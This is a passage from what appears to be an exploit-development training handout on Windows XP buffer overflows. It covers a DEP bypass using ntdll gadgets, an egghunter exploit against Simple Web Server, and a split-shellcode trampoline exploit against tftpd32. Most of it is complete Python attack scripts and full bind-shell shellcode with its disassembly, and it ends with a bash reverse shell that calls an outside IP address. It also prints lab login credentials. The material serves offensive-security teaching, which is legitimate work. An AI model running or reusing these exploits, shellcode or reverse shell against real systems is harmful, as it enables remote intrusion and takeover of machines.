  1907. INT3s - GOOD!!!!!!!
  1908.  
  1909.  
  1910.  
  1911. c:\python27\python.exe warftpd4.py XPSP3-ED-Target-IP
  1912.  
  1913. nc XPSP3-ED-Target-IP 4444
  1914. -----------------------------------------------------------------------
  1915.  
  1916.  
  1917. strategicsec....exploit no workie!!!!
  1918.  
  1919.  
  1920. Why????????? DEP!!!!!!!!!!!!!
  1921.  
  1922.  
  1923.  
  1924.  
  1925. Let's look through ole32.dll for the following instructions:
  1926.  
  1927. mov al,0x1
  1928. ret 0x4
  1929.  
  1930. We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
  1931.  
  1932.  
  1933. ---------------------------Type This-----------------------------------
  1934.  
  1935. ./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
  1936. -----------------------------------------------------------------------
  1937.  
  1938. [DLLs/xpsp3/ole32.dll]
  1939. 0x775ee00e b001c204
  1940. 0x775ee00e mov al, 1
  1941. 0x775ee010 ret 4
  1942.  
  1943.  
  1944. Then we need to jump to the LdrpCheckNXCompatibility routine in
  1945. ntdll.dll that disables DEP.
  1946.  
  1947.  
  1948.  
  1949. Inside of ntdll.dll we need to find the following instructions:
  1950.  
  1951. CMP AL,1
  1952. PUSH 2
  1953. POP ESI
  1954. JE ntdll.7
  1955.  
  1956.  
  1957. ---------------------------Type This-----------------------------------
  1958.  
  1959. ./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
  1960. -----------------------------------------------------------------------
  1961.  
  1962. [DLLs/xpsp3/ntdll.dll]
  1963. 0x7c91cd24 3c016a025e0f84
  1964. 0x7c91cd24 cmp al, 1
  1965. 0x7c91cd26 push 2
  1966. 0x7c91cd28 pop esi
  1967. 0x7c91cd29 jz 7
  1968.  
  1969.  
  1970. This set of instructions makes sure that AL is set to 1, 2 is pushed
  1971. on the stack then popped into ESI.
  1972.  
  1973.  
  1974.  
  1975.  
  1976. ---------------------------Type This-----------------------------------
  1977.  
  1978. dep = "\x0e\xe0\x5e\x77"+\
  1979. "\xff\xff\xff\xff"+\
  1980. "\x24\xcd\x91\x7c"+\
  1981. "\xff\xff\xff\xff"+\
  1982. "A"*0x54
  1983.  
  1984.  
  1985.  
  1986.  
  1987. c:\python27\python.exe warftpd5.py XPSP3-ED-Target-IP
  1988.  
  1989. nc XPSP3-ED-Target-IP 4444
  1990. -----------------------------------------------------------------------
  1991.  
  1992.  
  1993. ########################################
  1994. # Lab 2a: Not Enough Space (Egghunter) #
  1995. ########################################
  1996.  
  1997. -----------------------------------------------------------------------
  1998.  
  1999. SWS - SIMPLE WEB SERVER
  2000. -----------------------
  2001.  
  2002. Running SWS on Strategicsec-XP-ED-Target-VM
  2003. Start > Programs > Simple Web Server (it's in the middle somewhere)
  2004. Red icon in system tray
  2005. Double click it
  2006. - it will pop up a menu
  2007. - select "start"
  2008. - dialog box shows starting params - port 82
  2009.  
  2010. WinDBG
  2011. - attach to "server.exe"
  2012.  
  2013. ---------------------------Type This-----------------------------------
  2014.  
  2015. c:\python27\python.exe sws1.py XPSP3-ED-Target-IP
  2016.  
  2017. 0:003> dd eip
  2018. 0:003> dd esp
  2019.  
  2020. c:\python27\python.exe sws2.py XPSP3-ED-Target-IP
  2021.  
  2022. 0:003> dd eip
  2023. 0:003> dd esp
  2024.  
  2025. SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
  2026. cd /home/strategicsec/toolz/metasploit/tools
  2027. ruby pattern_offset.rb 41356841 <------- You should see that EIP is at 225
  2028. ruby pattern_offset.rb 68413668 <------- You should see that ESP is at 229
  2029.  
  2030. -----------------------------------------------------------------------
  2031.  
  2032.  
  2033.  
  2034.  
  2035.  
  2036.  
  2037.  
  2038. EGGHUNTER:
  2039. ----------
  2040.  
  2041. "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
  2042. "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
  2043. ^^^^^^^^^^^^^^^^
  2044. ABBA
  2045. JMP ESP
  2046. /
  2047. /
  2048. GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
  2049. User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)
  2050.  
  2051.  
  2052.  
  2053.  
  2054. -----sws3.py-----
  2055. #!/usr/bin/python2
  2056. import os
  2057. import sys
  2058. import socket
  2059. import struct # for pack function
  2060.  
  2061. if len(sys.argv) < 2:
  2062. sys.stderr.write("Usage: sws3.py <host>\n")
  2063. sys.exit(1)
  2064.  
  2065.  
  2066. target = sys.argv[1]
  2067. port = 82
  2068.  
  2069.  
  2070. pad = "A" * 225 # distance to EIP
  2071. eip = 0x7e429353 # replace EIP to point to "jmp esp" from user32.dll
  2072.  
  2073. egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
  2074. egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
  2075.  
  2076. shellcode = "\xCC" * 700
  2077.  
  2078. buf = "GET /"
  2079. buf += pad + struct.pack('<I', eip) + egghunter
  2080. buf += " HTTP/1.0\r\n"
  2081. buf += "User-Agent: ABBAABBA"
  2082. buf += shellcode
  2083. buf += " HTTP/1.0\r\n"
  2084.  
  2085. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # for TCP
  2086. # s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for UDP
  2087.  
  2088. try:
  2089. s.connect((target, port))
  2090. s.sendall(buf)
  2091. except Exception as e:
  2092. sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
  2093. finally:
  2094. s.close()
  2095. sys.stderr.write("Sent.\n")
  2096. -----
  2097.  
  2098. ############################################
  2099. # Lab 2b: Not Enough Space (Negative Jump) #
  2100. ############################################
  2101.  
  2102.  
  2103.  
  2104. -----------------------------------------------------------------------
  2105.  
  2106. [pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]
  2107.  
  2108. ^
  2109. 1 ----------------------1 overflow the buffer---------------------------|
  2110.  
  2111. ^ ^
  2112. |
  2113. 2 ----jump over seh record---|
  2114.  
  2115. ^ ^
  2116. |
  2117. 3--POP 2 words off stack---|
  2118.  
  2119. ^
  2120. 4 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|
  2121.  
  2122.  
  2123. #########################################
  2124. # Lab 2c: Not Enough Space (Trampoline) #
  2125. #########################################
  2126.  
  2127. ---------------------------Type This-----------------------------------
  2128.  
  2129. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
  2130. -----------------------------------------------------------------------
  2131.  
  2132.  
  2133. On the Strategicsec-XP-ED-Target-VM VM
  2134.  
  2135. - open a command prompt
  2136. - c:\software\tftpd32
  2137. - run tftpd32.exe
  2138. - UDP port 69
  2139. (socket code is already in the scripts)
  2140.  
  2141.  
  2142.  
  2143.  
  2144. On your attack host please install:
  2145.  
  2146.  
  2147. NASM - Netwide Assembler
  2148.  
  2149.  
  2150.  
  2151.  
  2152.  
  2153. -----------------------------------------------------------------------------------------------------------------
  2154.  
  2155.  
  2156. We want to generate the shellcode (BIND SHELL on Port 4444)
  2157. - No restricted characters
  2158. - Encoder: NONE
  2159.  
  2160. Create a Python file called dumpshellcode.py
  2161.  
  2162. ---
  2163. #!/usr/bin/python2
  2164.  
  2165. import os
  2166. import sys
  2167. import struct
  2168.  
  2169.  
  2170. # win32_bind - EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
  2171. shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
  2172. shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
  2173. shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
  2174. shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
  2175. shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
  2176. shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
  2177. shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
  2178. shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
  2179. shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
  2180. shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
  2181. shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
  2182. shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
  2183. shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
  2184. shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
  2185. shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
  2186. shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
  2187. shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
  2188. shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
  2189. shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
  2190. shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
  2191.  
  2192. sys.stdout.write(shellcode)
  2193. ---
  2194.  
  2195.  
  2196.  
  2197. python dumpshell.py > bindshell.bin
  2198.  
  2199. copy bindshellcode.bin into the "c:\Program Files\nasm" directory
  2200.  
  2201.  
  2202.  
  2203. Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
  2204. 317 bindshell.bin
  2205.  
  2206. ---------------------------Type This-----------------------------------
  2207.  
  2208. C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
  2209. -----------------------------------------------------------------------
  2210.  
  2211. 00000000 FC cld
  2212. 00000001 6AEB push byte -0x15
  2213. 00000003 4D dec ebp
  2214. 00000004 E8F9FFFFFF call dword 0x2
  2215. 00000009 60 pushad
  2216. 0000000A 8B6C2424 mov ebp,[esp+0x24]
  2217. 0000000E 8B453C mov eax,[ebp+0x3c]
  2218. 00000011 8B7C0578 mov edi,[ebp+eax+0x78]
  2219. 00000015 01EF add edi,ebp
  2220. 00000017 8B4F18 mov ecx,[edi+0x18]
  2221. 0000001A 8B5F20 mov ebx,[edi+0x20]
  2222. 0000001D 01EB add ebx,ebp
  2223. 0000001F 49 dec ecx
  2224. 00000020 8B348B mov esi,[ebx+ecx*4]
  2225. 00000023 01EE add esi,ebp
  2226. 00000025 31C0 xor eax,eax
  2227. 00000027 99 cdq
  2228. 00000028 AC lodsb
  2229. 00000029 84C0 test al,al
  2230. 0000002B 7407 jz 0x34
  2231. 0000002D C1CA0D ror edx,0xd
  2232. 00000030 01C2 add edx,eax
  2233. 00000032 EBF4 jmp short 0x28
  2234. 00000034 3B542428 cmp edx,[esp+0x28]
  2235. 00000038 75E5 jnz 0x1f
  2236. 0000003A 8B5F24 mov ebx,[edi+0x24]
  2237. 0000003D 01EB add ebx,ebp
  2238. 0000003F 668B0C4B mov cx,[ebx+ecx*2]
  2239. 00000043 8B5F1C mov ebx,[edi+0x1c]
  2240. 00000046 01EB add ebx,ebp
  2241. 00000048 032C8B add ebp,[ebx+ecx*4]
  2242. 0000004B 896C241C mov [esp+0x1c],ebp
  2243. 0000004F 61 popad
  2244. 00000050 C3 ret
  2245. 00000051 31DB xor ebx,ebx
  2246. 00000053 648B4330 mov eax,[fs:ebx+0x30]
  2247. 00000057 8B400C mov eax,[eax+0xc]
  2248. 0000005A 8B701C mov esi,[eax+0x1c]
  2249. 0000005D AD lodsd
  2250. 0000005E 8B4008 mov eax,[eax+0x8]
  2251. 00000061 5E pop esi
  2252. 00000062 688E4E0EEC push dword 0xec0e4e8e
  2253. 00000067 50 push eax
  2254. 00000068 FFD6 call esi
  2255. 0000006A 6653 push bx
  2256. 0000006C 66683332 push word 0x3233
  2257. 00000070 687773325F push dword 0x5f327377
  2258. 00000075 54 push esp
  2259. 00000076 FFD0 call eax
  2260. 00000078 68CBEDFC3B push dword 0x3bfcedcb
  2261. 0000007D 50 push eax
  2262. 0000007E FFD6 call esi PART 1
  2263. 00000080 5F pop edi
  2264. 00000081 89E5 mov ebp,esp
  2265. 00000083 6681ED0802 sub bp,0x208
  2266. 00000088 55 push ebp
  2267. 00000089 6A02 push byte +0x2
  2268. 0000008B FFD0 call eax
  2269. 0000008D 68D909F5AD push dword 0xadf509d9
  2270. 00000092 57 push edi
  2271. 00000093 FFD6 call esi
  2272. 00000095 53 push ebx
  2273. 00000096 53 push ebx
  2274. --------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
  2275. 00000097 53 push ebx
  2276. 00000098 53 push ebx
  2277. 00000099 53 push ebx
  2278. 0000009A 43 inc ebx
  2279. 0000009B 53 push ebx
  2280. 0000009C 43 inc ebx
  2281. 0000009D 53 push ebx PART 2
  2282. 0000009E FFD0 call eax
  2283. 000000A0 6668115C push word 0x5c11
  2284. 000000A4 6653 push bx
  2285. 000000A6 89E1 mov ecx,esp
  2286. 000000A8 95 xchg eax,ebp
  2287. 000000A9 68A41A70C7 push dword 0xc7701aa4
  2288. 000000AE 57 push edi
  2289. 000000AF FFD6 call esi
  2290. 000000B1 6A10 push byte +0x10
  2291. 000000B3 51 push ecx
  2292. 000000B4 55 push ebp
  2293. 000000B5 FFD0 call eax
  2294. 000000B7 68A4AD2EE9 push dword 0xe92eada4
  2295. 000000BC 57 push edi
  2296. 000000BD FFD6 call esi
  2297. 000000BF 53 push ebx
  2298. 000000C0 55 push ebp
  2299. 000000C1 FFD0 call eax
  2300. 000000C3 68E5498649 push dword 0x498649e5
  2301. 000000C8 57 push edi
  2302. 000000C9 FFD6 call esi
  2303. 000000CB 50 push eax
  2304. 000000CC 54 push esp
  2305. 000000CD 54 push esp
  2306. 000000CE 55 push ebp
  2307. 000000CF FFD0 call eax
  2308. 000000D1 93 xchg eax,ebx
  2309. 000000D2 68E779C679 push dword 0x79c679e7
  2310. 000000D7 57 push edi
  2311. 000000D8 FFD6 call esi
  2312. 000000DA 55 push ebp
  2313. 000000DB FFD0 call eax
  2314. 000000DD 666A64 push word 0x64
  2315. 000000E0 6668636D push word 0x6d63
  2316. 000000E4 89E5 mov ebp,esp
  2317. 000000E6 6A50 push byte +0x50
  2318. 000000E8 59 pop ecx
  2319. 000000E9 29CC sub esp,ecx
  2320. 000000EB 89E7 mov edi,esp
  2321. 000000ED 6A44 push byte +0x44
  2322. 000000EF 89E2 mov edx,esp
  2323. 000000F1 31C0 xor eax,eax
  2324. 000000F3 F3AA rep stosb
  2325. 000000F5 FE422D inc byte [edx+0x2d]
  2326. 000000F8 FE422C inc byte [edx+0x2c]
  2327. 000000FB 93 xchg eax,ebx
  2328. 000000FC 8D7A38 lea edi,[edx+0x38]
  2329. 000000FF AB stosd
  2330. 00000100 AB stosd
  2331. 00000101 AB stosd
  2332. 00000102 6872FEB316 push dword 0x16b3fe72
  2333. 00000107 FF7544 push dword [ebp+0x44]
  2334. 0000010A FFD6 call esi
  2335. 0000010C 5B pop ebx
  2336. 0000010D 57 push edi
  2337. 0000010E 52 push edx
  2338. 0000010F 51 push ecx
  2339. 00000110 51 push ecx
  2340. 00000111 51 push ecx
  2341. 00000112 6A01 push byte +0x1
  2342. 00000114 51 push ecx
  2343. 00000115 51 push ecx
  2344. 00000116 55 push ebp
  2345. 00000117 51 push ecx
  2346. 00000118 FFD0 call eax
  2347. 0000011A 68ADD905CE push dword 0xce05d9ad
  2348. 0000011F 53 push ebx
  2349. 00000120 FFD6 call esi
  2350. 00000122 6AFF push byte -0x1
  2351. 00000124 FF37 push dword [edi]
  2352. 00000126 FFD0 call eax
  2353. 00000128 8B57FC mov edx,[edi-0x4]
  2354. 0000012B 83C464 add esp,byte +0x64
  2355. 0000012E FFD6 call esi
  2356. 00000130 52 push edx
  2357. 00000131 FFD0 call eax
  2358. 00000133 68F08A045F push dword 0x5f048af0
  2359. 00000138 53 push ebx
  2360. 00000139 FFD6 call esi
  2361. 0000013B FFD0 call eax
  2362.  
  2363. -------------------------------------------------------------------------------------------
  2364. Another option would be to go to a website like:
  2365. http://shell-storm.org/online/Online-Assembler-and-Disassembler/
  2366.  
  2367. Choose the bottom box and paste the code below into it. Select x86 (32), and make sure that little endian is checked. Then click "Disassemble"
  2368.  
  2369. "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
  2370. "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
  2371. "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
  2372. "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
  2373. "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
  2374. "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
  2375. "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
  2376. "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
  2377. "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
  2378. "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
  2379. "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
  2380. "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
  2381. "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
  2382. "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
  2383. "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
  2384. "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
  2385. "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
  2386. "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
  2387. "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
  2388. "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
  2389.  
  2390.  
  2391.  
  2392.  
  2393. part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
  2394. part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
  2395. part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
  2396. part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
  2397. part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
  2398. part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
  2399. part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
  2400. part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
  2401. part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
  2402. part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
  2403.  
  2404.  
  2405. part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
  2406. part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
  2407. part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
  2408. part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
  2409. part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
  2410. part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
  2411. part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
  2412. part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
  2413. part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
  2414. part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
  2415. part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
  2416.  
  2417.  
  2418. STACK SHIFTER:
  2419. prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
  2420. prepend += "\x44" # inc esp
  2421.  
  2422.  
  2423.  
  2424.  
  2425.  
  2426.  
  2427.  
  2428.  
  2429.  
  2430.  
  2431.  
  2432.  
  2433.  
  2434.  
  2435. ---- final script ----
  2436.  
  2437. #!/usr/bin/python2
  2438. #TFTP Server remote Buffer Overflow
  2439.  
  2440. import sys
  2441. import socket
  2442. import struct
  2443.  
  2444. if len(sys.argv) < 2:
  2445. sys.stderr.write("Usage: tftpd.py <host>\n")
  2446. sys.exit(1)
  2447.  
  2448. target = sys.argv[1]
  2449. port = 69
  2450.  
  2451. eip = 0x7e429353 # jmp esp in USER32.DLL
  2452.  
  2453. part1 += "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
  2454. part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
  2455. part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
  2456. part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
  2457. part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
  2458. part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
  2459. part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
  2460. part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
  2461. part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
  2462. part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
  2463.  
  2464. part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
  2465. part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
  2466. part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
  2467. part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
  2468. part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
  2469. part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
  2470. part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
  2471. part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
  2472. part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
  2473. part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
  2474. part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
  2475.  
  2476. prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
  2477. prepend += "\x44" # inc esp
  2478.  
  2479. buf = "\x00\x01" # receive command
  2480.  
  2481. buf += "\x90" * (256 - len(part2)) # NOPs
  2482. buf += part2 # shellcode part 2
  2483. buf += struct.pack('<I', eip) # EIP (JMP ESP)
  2484. buf += prepend # stack shifter
  2485. buf += part1 # shellcode part 1
  2486. buf += "\xE9" + struct.pack('<i', -380) # JMP -380
  2487. buf += "\x00" # END
  2488.  
  2489. # print buf
  2490.  
  2491. # buf = "\x00\x01" # receive command
  2492.  
  2493. # buf += "A" * 300 + "\x00"
  2494.  
  2495. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  2496.  
  2497. try:
  2498. sock.connect((target, port))
  2499. sock.sendall(buf)
  2500. except Exception as e:
  2501. sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
  2502. finally:
  2503. sock.close()
  2504. sys.stderr.write("Sent.\n")
  2505.  
  2506.  
  2507.  
  2508. -----------------------------------------------------------------------------------------------------------------
  2509.  
  2510.  
  2511.  
  2512.  
  2513. How does all of this actually work
  2514.  
  2515.  
  2516.  
  2517.  
  2518. Total shellcode length: 315
  2519.  
  2520. Part1: 150
  2521. Part2: 165
  2522.  
  2523.  
  2524. NOPS * (256 - 165)
  2525.  
  2526. 91 NOPS + (165 bytes shellcode p2) + JMP ESP (4 bytes) + Stack Shift (-1000) + (150 bytes shellcode p1) + (neg jmp -380)
  2527. | | |
  2528. 256 260 150 (410) |
  2529. |<------------------------------------------------------------------------------------------------------------|
  2530. Jump to the
  2531. 30 byte mark
  2532.  
  2533.  
  2534.  
  2535.  
  2536.  
  2537. =================================================================================
  2538.  
  2539.  
  2540. ##############################
  2541. # Intro to function chaining #
  2542. ##############################
  2543. ssh into 192.168.1.117
  2544. username: exploitlab
  2545. password: exploitlab
  2546.  
  2547.  
  2548. ---------------------------Type This-----------------------------------
  2549. cd /home/exploitlab
  2550. cat victim2.c
  2551. make victim2
  2552. ./victim2 AAAAAAAAAAAAA
  2553. -----------------------------------------------------------------------
  2554.  
  2555.  
  2556.  
  2557. ---------------------------Type This-----------------------------------
  2558. gdb victim2
  2559. disassemble main
  2560.  
  2561. break *0x080483cb
  2562.  
  2563. run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  2564. -----------------------------------------------------------------------
  2565.  
  2566.  
  2567. ---------------------------Type This-----------------------------------
  2568. bt
  2569. x/i $eip
  2570. x/64x $esp
  2571.  
  2572.  
  2573. quit
  2574. -----------------------------------------------------------------------
  2575.  
  2576.  
  2577.  
  2578.  
  2579. ---------------------------Type This-----------------------------------
  2580. cat frame1.pl
  2581. export EGG=`./frame1.pl`
  2582. gdb victim2
  2583. (gdb) run $EGG
  2584. -----------------------------------------------------------------------
  2585.  
  2586.  
  2587.  
  2588.  
  2589.  
  2590. x/100i 0x80484a5 (looking for a pop/pop/ret)
  2591. quit
  2592. cat frame2.pl
  2593. export EGG=`./frame2.pl`
  2594. gdb victim2
  2595. run $EGG
  2596.  
  2597.  
  2598. stepi
  2599.  
  2600.  
  2601. -------------------------------------------------------------------------------------------------------
  2602.  
  2603.  
  2604.  
  2605.  
  2606.  
  2607.  
  2608.  
  2609.  
  2610. Lots of reverse shells in different languages
  2611. ---------------------------------------------------------------------
  2612.  
  2613.  
  2614.  
  2615. ########
  2616. # Bash #
  2617. ########
  2618.  
  2619. ---------------------------Type This-----------------------------------
  2620.  
  2621. bash -i >& /dev/tcp/45.32.211.184/8080 0>&1
  2622.  
  2623.  
  2624. ----------------------------------------------------------------------
  2625.  
